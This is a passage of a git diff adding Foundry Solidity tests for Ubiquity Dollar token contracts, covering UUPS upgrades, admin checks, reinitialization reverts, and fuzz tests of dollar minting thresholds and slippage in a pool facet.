assertEq( + stakingShare.uri(1), + stringTest, + "the uri is not set correctly by the method" + ); + } + + function testSetUri_ShouldRevert_IfGovernanceTokenNotStakingManager() + public + { + string memory stringTest = "{'a parsed json':'value'}"; + vm.expectRevert("Staking Share: not minter"); + vm.prank(fifthAccount); + stakingShare.setUri(1, stringTest); + } + + function testUUPS_ShouldUpgradeAndCall() external { + BondingShare bondingShare = new BondingShare(); + + string + memory uri = "https://bafybeifibz4fhk4yag5reupmgh5cdbm2oladke4zfd7ldyw7avgipocpmy.ipfs.infura-ipfs.io/"; + + vm.startPrank(admin); + bytes memory hasUpgradedCall = abi.encodeWithSignature("hasUpgraded()"); + + // trying to directly call will fail and exit early so call it like this + (bool success, ) = address(stakingShare).call(hasUpgradedCall); + assertEq(success, false, "should not have upgraded yet"); + require(success == false, "should not have upgraded yet"); + + stakingShare.upgradeTo(address(bondingShare)); + + // It will also fail unless cast so we'll use the same pattern as above + (success, ) = address(stakingShare).call(hasUpgradedCall); + assertEq(success, true, "should have upgraded"); + require(success == true, "should have upgraded"); + + vm.expectRevert(); + stakingShare.initialize(address(diamond), uri); + + vm.stopPrank(); + } + + function testUUPS_ImplChanges() external { + BondingShare bondingShare = new BondingShare(); + + address oldImpl = address(stakingShare); + address newImpl = address(bondingShare); + + vm.prank(admin); + stakingShare.upgradeTo(newImpl); + + bytes memory getImplCall = abi.encodeWithSignature("getImpl()"); + + (bool success, bytes memory data) = address(stakingShare).call( + getImplCall + ); + assertEq(success, true, "should have upgraded"); + + address newAddrViaNewFunc = abi.decode(data, (address)); + + assertEq( + newAddrViaNewFunc, + newImpl, + "should be the new implementation" + ); + assertTrue( + newAddrViaNewFunc != oldImpl, + "should not be the old implementation" + ); + } + + function testUUPS_InitializedVersion() external { + uint256 expectedVersion = 1; + uint256 baseExpectedVersion = 255; + + BondingShare bondingShare = new BondingShare(); + BondingShareUpgraded bondingShareUpgraded = new BondingShareUpgraded(); + + vm.startPrank(admin); + stakingShare.upgradeTo(address(bondingShare)); + + bytes memory getVersionCall = abi.encodeWithSignature("getVersion()"); + + (bool success, bytes memory data) = address(stakingShare).call( + getVersionCall + ); + assertEq(success, true, "should have upgraded"); + uint8 version = abi.decode(data, (uint8)); + + assertEq( + version, + expectedVersion, + "should be the same version as only initialized once" + ); + + stakingShare.upgradeTo(address(bondingShareUpgraded)); + + (success, data) = address(stakingShare).call(getVersionCall); + assertEq(success, true, "should have upgraded"); + version = abi.decode(data, (uint8)); + + assertEq( + version, + expectedVersion, + "should be the same version as only initialized once" + ); + + (success, data) = address(bondingShare).call(getVersionCall); + assertEq(success, true, "should succeed"); + version = abi.decode(data, (uint8)); + + assertEq( + version, + baseExpectedVersion, + "should be maxed as initializers are disabled." + ); + } + + function testUUPS_initialization() external { + BondingShare bondingShare = new BondingShare(); + + vm.startPrank(admin); + vm.expectRevert(); + bondingShare.initialize(address(diamond), "test"); + + vm.expectRevert(); + stakingShare.initialize(address(diamond), "test"); + + vm.expectRevert(); + stakingShare.initialize(address(diamond), "test"); + + stakingShare.upgradeTo(address(bondingShare)); + + vm.expectRevert(); + stakingShare.initialize(address(diamond), "test"); + } + + function testUUPS_AdminAuth() external { + BondingShare bondingShare = new BondingShare(); + + vm.expectRevert(); + stakingShare.upgradeTo(address(bondingShare)); + + vm.prank(admin); + stakingShare.upgradeTo(address(bondingShare)); + + bytes memory hasUpgradedCall = abi.encodeWithSignature("hasUpgraded()"); + (bool success, bytes memory data) = address(stakingShare).call( + hasUpgradedCall + ); + bool hasUpgraded = abi.decode(data, (bool)); + + assertEq(hasUpgraded, true, "should have upgraded"); + assertEq(success, true, "should have upgraded"); + require(success == true, "should have upgraded"); + } +} + +contract BondingShareUpgraded is BondingShare { + function hasUpgraded() public pure override returns (bool) { + return true; + } + + function getVersion() public view override returns (uint8) { + return super._getInitializedVersion(); + } + + function getImpl() public view override returns (address) { + return super._getImplementation(); + } +} diff --git a/packages/contracts/test/dollar/core/UbiquityCreditToken.t.sol b/packages/contracts/test/dollar/core/UbiquityCreditToken.t.sol new file mode 100644 index 000000000..39c6b4157 --- /dev/null +++ b/packages/contracts/test/dollar/core/UbiquityCreditToken.t.sol @@ -0,0 +1,185 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import "../../../src/dollar/core/UbiquityCreditToken.sol"; +import "../../helpers/LocalTestHelper.sol"; + +contract UbiquityCreditTokenTest is LocalTestHelper { + UbiquityCreditToken ubiquityCreditToken; + + function setUp() public override { + super.setUp(); + ubiquityCreditToken = creditToken; + } + + function testRaiseCapital_ShouldMintTokens() public { + assertEq(ubiquityCreditToken.balanceOf(treasuryAddress), 0); + vm.prank(admin); + ubiquityCreditToken.raiseCapital(1e18); + assertEq(ubiquityCreditToken.balanceOf(treasuryAddress), 1e18); + } + + function testSetManager_ShouldRevert_WhenNotAdmin() public { + vm.prank(address(0x123abc)); + vm.expectRevert("ERC20Ubiquity: not admin"); + ubiquityCreditToken.setManager(address(0x123abc)); + } + + function testSetManager_ShouldSetManager() public { + address newManager = address(0x123abc); + vm.prank(admin); + ubiquityCreditToken.setManager(newManager); + require(ubiquityCreditToken.getManager() == newManager); + } + + function testUUPS_ShouldUpgradeAndCall() external { + UbiquityCreditTokenUpgraded newImpl = new UbiquityCreditTokenUpgraded(); + + vm.startPrank(admin); + bytes memory hasUpgradedCall = abi.encodeWithSignature("hasUpgraded()"); + // trying to directly call will fail and exit early so call it like this + (bool success, ) = address(ubiquityCreditToken).call(hasUpgradedCall); + assertEq(success, false, "should not have upgraded yet"); + require(success == false, "should not have upgraded yet"); + + ubiquityCreditToken.upgradeTo(address(newImpl)); + + // It will also fail unless cast so we'll use the same pattern as above + (success, ) = address(ubiquityCreditToken).call(hasUpgradedCall); + assertEq(success, true, "should have upgraded"); + require(success == true, "should have upgraded"); + + vm.expectRevert(); + ubiquityCreditToken.initialize(address(diamond)); + } + + function testUUPS_ImplChanges() external { + UbiquityCreditTokenUpgraded newImpl = new UbiquityCreditTokenUpgraded(); + + address oldImpl = address(creditToken); + address newImplAddr = address(newImpl); + + vm.prank(admin); + ubiquityCreditToken.upgradeTo(newImplAddr); + + bytes memory getImplCall = abi.encodeWithSignature("getImpl()"); + + (bool success, bytes memory data) = address(ubiquityCreditToken).call( + getImplCall + ); + assertEq(success, true, "should have upgraded"); + + address newAddrViaNewFunc = abi.decode(data, (address)); + + assertEq( + newAddrViaNewFunc, + newImplAddr, + "should be the new implementation" + ); + assertTrue( + newAddrViaNewFunc != oldImpl, + "should not be the old implementation" + ); + } + + function testUUPS_InitializedVersion() external { + uint256 expectedVersion = 1; + uint256 baseExpectedVersion = 255; + + UbiquityCreditTokenUpgraded newImpl = new UbiquityCreditTokenUpgraded(); + UbiquityCreditTokenUpgraded newImplT = new UbiquityCreditTokenUpgraded(); + + vm.startPrank(admin); + ubiquityCreditToken.upgradeTo(address(newImpl)); + + bytes memory getVersionCall = abi.encodeWithSignature("getVersion()"); + + (bool success, bytes memory data) = address(ubiquityCreditToken).call( + getVersionCall + ); + assertEq(success, true, "should have upgraded"); + uint8 version = abi.decode(data, (uint8)); + + assertEq( + version, + expectedVersion, + "should be the same version as only initialized once" + ); + + ubiquityCreditToken.upgradeTo(address(newImplT)); + + (success, data) = address(ubiquityCreditToken).call(getVersionCall); + assertEq(success, true, "should have upgraded"); + version = abi.decode(data, (uint8)); + + assertEq( + version, + expectedVersion, + "should be the same version as only initialized once" + ); + + (success, data) = address(newImpl).call(getVersionCall); + assertEq(success, true, "should succeed"); + version = abi.decode(data, (uint8)); + + assertEq( + version, + baseExpectedVersion, + "should be maxed as initializers are disabled." + ); + } + + function testUUPS_initialization() external { + UbiquityCreditTokenUpgraded newImpl = new UbiquityCreditTokenUpgraded(); + + vm.startPrank(admin); + vm.expectRevert(); + newImpl.initialize(address(diamond)); + + vm.expectRevert(); + creditToken.initialize(address(diamond)); + + vm.expectRevert(); + ubiquityCreditToken.initialize(address(diamond)); + + ubiquityCreditToken.upgradeTo(address(newImpl)); + + vm.expectRevert(); + ubiquityCreditToken.initialize(address(diamond)); + } + + function testUUPS_AdminAuth() external { + UbiquityCreditTokenUpgraded newImpl = new UbiquityCreditTokenUpgraded(); + + vm.expectRevert(); + ubiquityCreditToken.upgradeTo(address(newImpl)); + + vm.prank(admin); + ubiquityCreditToken.upgradeTo(address(newImpl)); + + bytes memory hasUpgradedCall = abi.encodeWithSignature("hasUpgraded()"); + + (bool success, bytes memory data) = address(ubiquityCreditToken).call( + hasUpgradedCall + ); + assertEq(success, true, "should have upgraded"); + + bool hasUpgraded = abi.decode(data, (bool)); + assertEq(hasUpgraded, true, "should have upgraded"); + require(success == true, "should have upgraded"); + } +} + +contract UbiquityCreditTokenUpgraded is UbiquityCreditToken { + function hasUpgraded() public pure returns (bool) { + return true; + } + + function getVersion() public view returns (uint8) { + return super._getInitializedVersion(); + } + + function getImpl() public view returns (address) { + return super._getImplementation(); + } +} diff --git a/packages/contracts/test/dollar/core/UbiquityDollarToken.t.sol b/packages/contracts/test/dollar/core/UbiquityDollarToken.t.sol new file mode 100644 index 000000000..cdf2485a3 --- /dev/null +++ b/packages/contracts/test/dollar/core/UbiquityDollarToken.t.sol @@ -0,0 +1,187 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.19; + +import {UbiquityDollarToken} from "../../../src/dollar/core/UbiquityDollarToken.sol"; + +import "../../helpers/LocalTestHelper.sol"; + +contract UbiquityDollarTokenTest is LocalTestHelper { + address dollar_addr; + address dollar_manager_address; + + address mock_sender = address(0x111); + address mock_recipient = address(0x222); + address mock_operator = address(0x333); + + function setUp() public override { + super.setUp(); + vm.startPrank(admin); + dollar_addr = address(dollarToken); + + accessControlFacet.grantRole( + keccak256("GOVERNANCE_TOKEN_MANAGER_ROLE"), + admin + ); + vm.stopPrank(); + } + + function testSetManager_ShouldRevert_WhenNotAdmin() public { + vm.prank(address(0x123abc)); + vm.expectRevert("ERC20Ubiquity: not admin"); + dollarToken.setManager(address(0x123abc)); + } + + function testSetManager_ShouldSetManager() public { + address newDiamond = address(0x123abc); + vm.prank(admin); + dollarToken.setManager(newDiamond); + require(dollarToken.getManager() == newDiamond); + } + + function testUUPS_ShouldUpgradeAndCall() external { + UbiquityDollarTokenUpgraded newImpl = new UbiquityDollarTokenUpgraded(); + + vm.startPrank(admin); + bytes memory hasUpgradedCall = abi.encodeWithSignature("hasUpgraded()"); + + // trying to directly call will fail and exit early so call it like this + (bool success, ) = address(dollarToken).call(hasUpgradedCall); + assertEq(success, false, "should not have upgraded yet"); + require(success == false, "should not have upgraded yet"); + + dollarToken.upgradeTo(address(newImpl)); + + // It will also fail unless cast so we'll use the same pattern as above + (success, ) = address(dollarToken).call(hasUpgradedCall); + assertEq(success, true, "should have upgraded"); + require(success == true, "should have upgraded"); + + vm.expectRevert(); + dollarToken.initialize(address(diamond)); + } + + function testUUPS_ImplChanges() external { + UbiquityDollarTokenUpgraded newImpl = new UbiquityDollarTokenUpgraded(); + + address oldImpl = address(dollarToken); + address newImplAddr = address(newImpl); + + vm.prank(admin); + dollarToken.upgradeTo(newImplAddr); + + bytes memory getImplCall = abi.encodeWithSignature("getImpl()"); + + (bool success, bytes memory data) = address(dollarToken).call( + getImplCall + ); + assertEq(success, true, "should have upgraded"); + + address newAddrViaNewFunc = abi.decode(data, (address)); + + assertEq( + newAddrViaNewFunc, + newImplAddr, + "should be the new implementation" + ); + assertTrue( + newAddrViaNewFunc != oldImpl, + "should not be the old implementation" + ); + } + + function testUUPS_InitializedVersion() external { + uint256 expectedVersion = 1; + uint256 baseExpectedVersion = 255; + + UbiquityDollarTokenUpgraded newImpl = new UbiquityDollarTokenUpgraded(); + UbiquityDollarTokenUpgraded newImplT = new UbiquityDollarTokenUpgraded(); + + vm.startPrank(admin); + dollarToken.upgradeTo(address(newImpl)); + bytes memory getVersionCall = abi.encodeWithSignature("getVersion()"); + + (bool success, bytes memory data) = address(dollarToken).call( + getVersionCall + ); + assertEq(success, true, "should have upgraded"); + uint8 version = abi.decode(data, (uint8)); + + assertEq( + version, + expectedVersion, + "should be the same version as only initialized once" + ); + + dollarToken.upgradeTo(address(newImplT)); + + (success, data) = address(dollarToken).call(getVersionCall); + assertEq(success, true, "should have upgraded"); + version = abi.decode(data, (uint8)); + + assertEq( + version, + expectedVersion, + "should be the same version as only initialized once" + ); + + (success, data) = address(newImpl).call(getVersionCall); + assertEq(success, true, "should succeed"); + version = abi.decode(data, (uint8)); + + assertEq( + version, + baseExpectedVersion, + "should be maxed as initializers are disabled." + ); + } + + function testUUPS_initialization() external { + UbiquityDollarTokenUpgraded newImpl = new UbiquityDollarTokenUpgraded(); + + vm.startPrank(admin); + vm.expectRevert(); + newImpl.initialize(address(diamond)); + + vm.expectRevert(); + dollarToken.initialize(address(diamond)); + + dollarToken.upgradeTo(address(newImpl)); + + vm.expectRevert(); + dollarToken.initialize(address(diamond)); + } + + function testUUPS_AdminAuth() external { + UbiquityDollarTokenUpgraded newImpl = new UbiquityDollarTokenUpgraded(); + + vm.expectRevert(); + dollarToken.upgradeTo(address(newImpl)); + + vm.prank(admin); + dollarToken.upgradeTo(address(newImpl)); + + bytes memory hasUpgradedCall = abi.encodeWithSignature("hasUpgraded()"); + (bool success, bytes memory data) = address(dollarToken).call( + hasUpgradedCall + ); + bool hasUpgraded = abi.decode(data, (bool)); + + assertEq(hasUpgraded, true, "should have upgraded"); + assertEq(success, true, "should have upgraded"); + require(success == true, "should have upgraded"); + } +} + +contract UbiquityDollarTokenUpgraded is UbiquityDollarToken { + function hasUpgraded() public pure returns (bool) { + return true; + } + + function getVersion() public view returns (uint8) { + return super._getInitializedVersion(); + } + + function getImpl() public view returns (address) { + return super._getImplementation(); + } +} diff --git a/packages/contracts/test/dollar/core/UbiquityGovernanceToken.t.sol b/packages/contracts/test/dollar/core/UbiquityGovernanceToken.t.sol new file mode 100644 index 000000000..7d9cc9b9c --- /dev/null +++ b/packages/contracts/test/dollar/core/UbiquityGovernanceToken.t.sol @@ -0,0 +1,188 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.19; + +import {UbiquityGovernanceToken} from "../../../src/dollar/core/UbiquityGovernanceToken.sol"; + +import "../../helpers/LocalTestHelper.sol"; + +contract UbiquityGovernanceTokenTest is LocalTestHelper { + address mock_sender = address(0x111); + address mock_recipient = address(0x222); + address mock_operator = address(0x333); + + function setUp() public override { + super.setUp(); + vm.startPrank(admin); + accessControlFacet.grantRole( + keccak256("GOVERNANCE_TOKEN_MANAGER_ROLE"), + admin + ); + vm.stopPrank(); + } + + function testSetManager_ShouldRevert_WhenNotAdmin() public { + vm.prank(address(0x123abc)); + vm.expectRevert("ERC20Ubiquity: not admin"); + governanceToken.setManager(address(0x123abc)); + } + + function testSetManager_ShouldSetManager() public { + address newManager = address(0x123abc); + vm.prank(admin); + governanceToken.setManager(newManager); + require(governanceToken.getManager() == newManager); + } + + function testUUPS_ShouldUpgradeAndCall() external { + UbiquityGovernanceTokenUpgraded newImpl = new UbiquityGovernanceTokenUpgraded(); + + vm.startPrank(admin); + bytes memory hasUpgradedCall = abi.encodeWithSignature("hasUpgraded()"); + + // trying to directly call will fail and exit early so call it like this + (bool success, ) = address(governanceToken).call(hasUpgradedCall); + assertEq(success, false, "should not have upgraded yet"); + require(success == false, "should not have upgraded yet"); + + governanceToken.upgradeTo(address(newImpl)); + + // It will also fail unless cast so we'll use the same pattern as above + (success, ) = address(governanceToken).call(hasUpgradedCall); + assertEq(success, true, "should have upgraded"); + require(success == true, "should have upgraded"); + + vm.expectRevert(); + governanceToken.initialize(address(diamond)); + + vm.stopPrank(); + } + + function testUUPS_ImplChanges() external { + UbiquityGovernanceTokenUpgraded newImpl = new UbiquityGovernanceTokenUpgraded(); + + address oldImpl = address(governanceToken); + address newImplAddr = address(newImpl); + + vm.prank(admin); + governanceToken.upgradeTo(newImplAddr); + + bytes memory getImplCall = abi.encodeWithSignature("getImpl()"); + + (bool success, bytes memory data) = address(governanceToken).call( + getImplCall + ); + assertEq(success, true, "should have upgraded"); + + address newAddrViaNewFunc = abi.decode(data, (address)); + + assertEq( + newAddrViaNewFunc, + newImplAddr, + "should be the new implementation" + ); + assertTrue( + newAddrViaNewFunc != oldImpl, + "should not be the old implementation" + ); + } + + function testUUPS_InitializedVersion() external { + uint256 expectedVersion = 1; + uint256 baseExpectedVersion = 255; + + UbiquityGovernanceTokenUpgraded newImpl = new UbiquityGovernanceTokenUpgraded(); + UbiquityGovernanceTokenUpgraded newImplT = new UbiquityGovernanceTokenUpgraded(); + + vm.startPrank(admin); + governanceToken.upgradeTo(address(newImpl)); + // It will also fail unless cast so we'll use the same pattern as above + (bool success, bytes memory data) = address(governanceToken).call( + abi.encodeWithSignature("getVersion()") + ); + assertEq(success, true, "should have upgraded"); + uint8 version = abi.decode(data, (uint8)); + + assertEq( + version, + expectedVersion, + "should be the same version as only initialized once" + ); + + governanceToken.upgradeTo(address(newImplT)); + + (success, data) = address(governanceToken).call( + abi.encodeWithSignature("getVersion()") + ); + assertEq(success, true, "should have upgraded"); + version = abi.decode(data, (uint8)); + + assertEq( + version, + expectedVersion, + "should be the same version as only initialized once" + ); + + (success, data) = address(newImpl).call( + abi.encodeWithSignature("getVersion()") + ); + assertEq(success, true, "should succeed"); + version = abi.decode(data, (uint8)); + + assertEq( + version, + baseExpectedVersion, + "should be maxed as initializers are disabled." + ); + } + + function testUUPS_initialization() external { + UbiquityGovernanceTokenUpgraded newImpl = new UbiquityGovernanceTokenUpgraded(); + + vm.startPrank(admin); + vm.expectRevert(); + newImpl.initialize(address(diamond)); + + vm.expectRevert(); + governanceToken.initialize(address(diamond)); + + governanceToken.upgradeTo(address(newImpl)); + + vm.expectRevert(); + governanceToken.initialize(address(diamond)); + } + + function testUUPS_AdminAuth() external { + UbiquityGovernanceTokenUpgraded newImpl = new UbiquityGovernanceTokenUpgraded(); + + vm.expectRevert(); + governanceToken.upgradeTo(address(newImpl)); + + vm.prank(admin); + governanceToken.upgradeTo(address(newImpl)); + + bytes memory hasUpgradedCall = abi.encodeWithSignature("hasUpgraded()"); + + (bool success, bytes memory data) = address(governanceToken).call( + hasUpgradedCall + ); + bool hasUpgraded = abi.decode(data, (bool)); + + assertEq(hasUpgraded, true, "should have upgraded"); + assertEq(success, true, "should have upgraded"); + require(success == true, "should have upgraded"); + } +} + +contract UbiquityGovernanceTokenUpgraded is UbiquityGovernanceToken { + function hasUpgraded() public pure returns (bool) { + return true; + } + + function getVersion() public view returns (uint8) { + return super._getInitializedVersion(); + } + + function getImpl() public view returns (address) { + return super._getImplementation(); + } +} diff --git a/packages/contracts/test/fuzz/diamond/facets/UbiquityPoolFacet.fuzz.t.sol b/packages/contracts/test/fuzz/diamond/facets/UbiquityPoolFacet.fuzz.t.sol new file mode 100644 index 000000000..9202129be --- /dev/null +++ b/packages/contracts/test/fuzz/diamond/facets/UbiquityPoolFacet.fuzz.t.sol @@ -0,0 +1,474 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import "forge-std/console.sol"; +import "abdk/ABDKMathQuad.sol"; +import {DiamondTestSetup} from "../../../../test/diamond/DiamondTestSetup.sol"; +import {IDollarAmoMinter} from "../../../../src/dollar/interfaces/IDollarAmoMinter.sol"; +import {LibUbiquityPool} from "../../../../src/dollar/libraries/LibUbiquityPool.sol"; +import {MockChainLinkFeed} from "../../../../src/dollar/mocks/MockChainLinkFeed.sol"; +import {MockERC20} from "../../../../src/dollar/mocks/MockERC20.sol"; +import {MockCurveStableSwapNG} from "../../../../src/dollar/mocks/MockCurveStableSwapNG.sol"; +import {MockCurveTwocryptoOptimized} from "../../../../src/dollar/mocks/MockCurveTwocryptoOptimized.sol"; + +contract UbiquityPoolFacetFuzzTest is DiamondTestSetup { + using ABDKMathQuad for uint256; + using ABDKMathQuad for bytes16; + + // mock three tokens: collateral token, stable token, wrapped ETH token + MockERC20 collateralToken; + MockERC20 stableToken; + MockERC20 wethToken; + + // mock three ChainLink price feeds, one for each token + MockChainLinkFeed collateralTokenPriceFeed; + MockChainLinkFeed ethUsdPriceFeed; + MockChainLinkFeed stableUsdPriceFeed; + + // mock two curve pools Stablecoin/Dollar and Governance/WETH + MockCurveStableSwapNG curveDollarPlainPool; + MockCurveTwocryptoOptimized curveGovernanceEthPool; + + address user = address(1); + + function setUp() public override { + super.setUp(); + + vm.startPrank(admin); + + collateralToken = new MockERC20("COLLATERAL", "CLT", 18); + wethToken = new MockERC20("WETH", "WETH", 18); + stableToken = new MockERC20("STABLE", "STABLE", 18); + + collateralTokenPriceFeed = new MockChainLinkFeed(); + ethUsdPriceFeed = new MockChainLinkFeed(); + stableUsdPriceFeed = new MockChainLinkFeed(); + + curveDollarPlainPool = new MockCurveStableSwapNG( + address(stableToken), + address(dollarToken) + ); + + curveGovernanceEthPool = new MockCurveTwocryptoOptimized( + address(governanceToken), + address(wethToken) + ); + + // add collateral token to the pool + uint256 poolCeiling = 50_000e18; // max 50_000 of collateral tokens is allowed + ubiquityPoolFacet.addCollateralToken( + address(collateralToken), + address(collateralTokenPriceFeed), + poolCeiling + ); + + // set collateral price initial feed mock params + collateralTokenPriceFeed.updateMockParams( + 1, // round id + 100_000_000, // answer, 100_000_000 = $1.00 (chainlink 8 decimals answer is converted to 6 decimals pool price) + block.timestamp, // started at + block.timestamp, // updated at + 1 // answered in round + ); + + // set ETH/USD price initial feed mock params + ethUsdPriceFeed.updateMockParams( + 1, // round id + 2000_00000000, // answer, 2000_00000000 = $2000 (8 decimals) + block.timestamp, // started at + block.timestamp, // updated at + 1 // answered in round + ); + + // set stable/USD price feed initial mock params + stableUsdPriceFeed.updateMockParams( + 1, // round id + 100_000_000, // answer, 100_000_000 = $1.00 (8 decimals) + block.timestamp, // started at + block.timestamp, // updated at + 1 // answered in round + ); + + // set ETH/Governance initial price to 20k in Curve pool mock (20k GOV == 1 ETH) + curveGovernanceEthPool.updateMockParams(20_000e18); + + // set price feed for collateral token + ubiquityPoolFacet.setCollateralChainLinkPriceFeed( + address(collateralToken), // collateral token address + address(collateralTokenPriceFeed), // price feed address + 1 days // price feed staleness threshold in seconds + ); + + // set price feed for ETH/USD pair + ubiquityPoolFacet.setEthUsdChainLinkPriceFeed( + address(ethUsdPriceFeed), // price feed address + 1 days // price feed staleness threshold in seconds + ); + + // set price feed for stable/USD pair + ubiquityPoolFacet.setStableUsdChainLinkPriceFeed( + address(stableUsdPriceFeed), // price feed address + 1 days // price feed staleness threshold in seconds + ); + + // enable collateral at index 0 + ubiquityPoolFacet.toggleCollateral(0); + // set mint and redeem initial fees + ubiquityPoolFacet.setFees( + 0, // collateral index + 10000, // 1% mint fee + 20000 // 2% redeem fee + ); + // set redemption delay to 2 blocks + ubiquityPoolFacet.setRedemptionDelayBlocks(2); + // set mint price threshold to $1.01 and redeem price to $0.99 + ubiquityPoolFacet.setPriceThresholds(1010000, 990000); + // set collateral ratio to 100% + ubiquityPoolFacet.setCollateralRatio(1_000_000); + // set Governance-ETH pool + ubiquityPoolFacet.setGovernanceEthPoolAddress( + address(curveGovernanceEthPool) + ); + + // set Curve plain pool in manager facet + managerFacet.setStableSwapPlainPoolAddress( + address(curveDollarPlainPool) + ); + + // stop being admin + vm.stopPrank(); + + // mint 2000 Governance tokens to the user + deal(address(governanceToken), user, 2000e18); + // mint 2000 collateral tokens to the user + collateralToken.mint(address(user), 2000e18); + // user approves the pool to transfer collateral + vm.prank(user); + collateralToken.approve(address(ubiquityPoolFacet), 100e18); + } + + //======================== + // Dollar Mint fuzz tests + //======================== + + function testMintDollar_FuzzCollateralRatio( + uint256 newCollateralRatio + ) public { + uint256 maxCollateralRatio = 1_000_000; // 100% + vm.assume(newCollateralRatio <= maxCollateralRatio); + // fuzz collateral ratio + vm.prank(admin); + ubiquityPoolFacet.setCollateralRatio(newCollateralRatio); + curveDollarPlainPool.updateMockParams(1.01e18); + // set ETH/Governance initial price to 2k in Curve pool mock (2k GOV == 1 ETH, 1 GOV == 1 USD) + curveGovernanceEthPool.updateMockParams(2_000e18); + + // balances before + assertEq(collateralToken.balanceOf(address(ubiquityPoolFacet)), 0); + assertEq(dollarToken.balanceOf(user), 0); + assertEq(governanceToken.balanceOf(user), 2000e18); + assertEq(collateralToken.balanceOf(user), 2000e18); + + // dollars and governance tokens should be provided to meet ratio requirements + uint256 maxCollateralIn; + uint256 totalCollateralMaxAmount = 100e18; // total collateral from both should be enough to mint Dollar tokens + if (newCollateralRatio == 0) maxCollateralIn = 0; + else + maxCollateralIn = totalCollateralMaxAmount + .fromUInt() + .mul(newCollateralRatio.fromUInt()) + .div(maxCollateralRatio.fromUInt()) + .toUInt(); + uint256 maxGovernanceIn = totalCollateralMaxAmount - maxCollateralIn; + + vm.prank(user); + ( + uint256 totalDollarMint, + uint256 collateralNeeded, + uint256 governanceNeeded + ) = ubiquityPoolFacet.mintDollar( + 0, // collateral index + 100e18, // Dollar amount + 99e18, // min amount of Dollars to mint + maxCollateralIn, // max collateral to send + maxGovernanceIn, // max Governance tokens to send + false // fractional mint allowed + ); + + assertEq(totalDollarMint, 99e18); + + // balances after + assertEq(dollarToken.balanceOf(user), 99e18); + assertEq( + collateralToken.balanceOf(address(ubiquityPoolFacet)), + collateralNeeded + ); + assertEq(governanceToken.balanceOf(user), 2000e18 - governanceNeeded); + assertEq(collateralToken.balanceOf(user), 2000e18 - collateralNeeded); + } + + /** + * @notice Fuzz Dollar minting scenario for Dollar price below threshold + * @param dollarPriceUsd Ubiquity Dollar token price from Curve pool (Stable coin/Ubiquity Dollar) + */ + function testMintDollar_FuzzDollarPriceUsdTooLow( + uint256 dollarPriceUsd + ) public { + // Stable coin/USD ChainLink feed is mocked to $1.00 + // Mint price threshold set up to $1.01 == 1010000 + // Fuzz Dollar price in Curve plain pool (1 Stable coin / x Dollar) + vm.assume(dollarPriceUsd < 1010000000000000000); // 1.01e18 , less than threshold + curveDollarPlainPool.updateMockParams(dollarPriceUsd); + vm.prank(user); + vm.expectRevert("Dollar price too low"); + ubiquityPoolFacet.mintDollar( + 0, // collateral index + 100e18, // Dollar amount + 90e18, // min amount of Dollars to mint + 100e18, // max collateral to send + 0, // max Governance tokens to send + false // force 1-to-1 mint (i.e. provide only collateral without Governance tokens) + ); + } + + /** + * @notice Fuzz Dollar minting scenario for Dollar amount slippage. Max slippage is the acceptable + * difference between amount asked to mint, and the actual minted amount, including the minting fee. + * As an example if mint fee is set to 1%, any value above 99% of the amount should revert + * the mint with `Dollar slippage` error. + * @param dollarOutMin Minimal Ubiquity Dollar amount to mint, including the minting fee. + */ + function testMintDollar_FuzzDollarAmountSlippage( + uint256 dollarOutMin + ) public { + vm.assume(dollarOutMin > 99e18); + vm.prank(admin); + curveDollarPlainPool.updateMockParams(1.01e18); + vm.prank(user); + vm.expectRevert("Dollar slippage"); + ubiquityPoolFacet.mintDollar( + 0, // collateral index + 100e18, // Dollar amount + dollarOutMin, // min amount of Dollars to mint + 100e18, // max collateral to send + 0, // max Governance tokens to send + false // force 1-to-1 mint (i.e. provide only collateral without Governance tokens) + ); + } + + function testMintDollar_FuzzCollateralAmountSlippage( + uint256 maxCollateralIn + ) public { + vm.assume(maxCollateralIn < 100e18); + vm.prank(admin); + curveDollarPlainPool.updateMockParams(1.01e18); + vm.prank(user); + vm.expectRevert("Collateral slippage"); + ubiquityPoolFacet.mintDollar( + 0, // collateral index + 100e18, // Dollar amount + 99e18, // min amount of Dollars to mint + maxCollateralIn, // max collateral to send + 0, // max Governance tokens to send + false // force 1-to-1 mint (i.e. provide only collateral without Governance tokens) + ); + } + + function testMintDollar_FuzzGovernanceAmountSlippage( + uint256 maxGovernanceIn + ) public { + vm.assume(maxGovernanceIn < 1e18); + vm.prank(admin); + curveDollarPlainPool.updateMockParams(1.01e18); + // set ETH/Governance initial price to 2k in Curve pool mock (2k GOV == 1 ETH, 1 GOV == 1 USD) + curveGovernanceEthPool.updateMockParams(2_000e18); + // admin sets collateral ratio to 0% + vm.prank(admin); + ubiquityPoolFacet.setCollateralRatio(0); + vm.prank(user); + vm.expectRevert("Governance slippage"); + ubiquityPoolFacet.mintDollar( + 0, // collateral index + 100e18, // Dollar amount + 99e18, // min amount of Dollars to mint (1% fee included) + 0, // max collateral to send + maxGovernanceIn, // max Governance tokens to send + false // force 1-to-1 mint (i.e. provide only collateral without Governance tokens) + ); + } + + function testMintDollar_FuzzCorrectDollarAmountMinted( + uint256 tokenAmountToMint + ) public { + vm.assume(tokenAmountToMint < 50_000e18); // collateral pool ceiling also set to 50k tokens + vm.startPrank(admin); + curveDollarPlainPool.updateMockParams(1.01e18); + // set ETH/Governance initial price to 2k in Curve pool mock (2k GOV == 1 ETH, 1 GOV == 1 USD) + curveGovernanceEthPool.updateMockParams(2_000e18); + // admin sets collateral ratio to 0% + ubiquityPoolFacet.setCollateralRatio(0); + deal(address(governanceToken), user, 50000e18); + vm.stopPrank(); + uint256 minDollarsToMint = tokenAmountToMint + .fromUInt() + .mul(uint(99).fromUInt()) + .div(uint(100).fromUInt()) + .toUInt(); // dollars to mint (1% fee included) + vm.prank(user); + (uint256 dollarsMinted, , ) = ubiquityPoolFacet.mintDollar( + 0, // collateral index + tokenAmountToMint, // Dollar amount to mint + minDollarsToMint, + 0, // max collateral to send + tokenAmountToMint, // max Governance tokens to send (1 GOV == 1 USD) + false // force 1-to-1 mint (i.e. provide only collateral without Governance tokens) + ); + assertEq(dollarsMinted, minDollarsToMint); + } + + //======================== + // Dollar Redeem fuzz tests + //======================== + + function testRedeemDollar_FuzzRedemptionDelayBlocks( + uint8 delayBlocks + ) public { + vm.assume(delayBlocks > 0); + vm.startPrank(admin); + 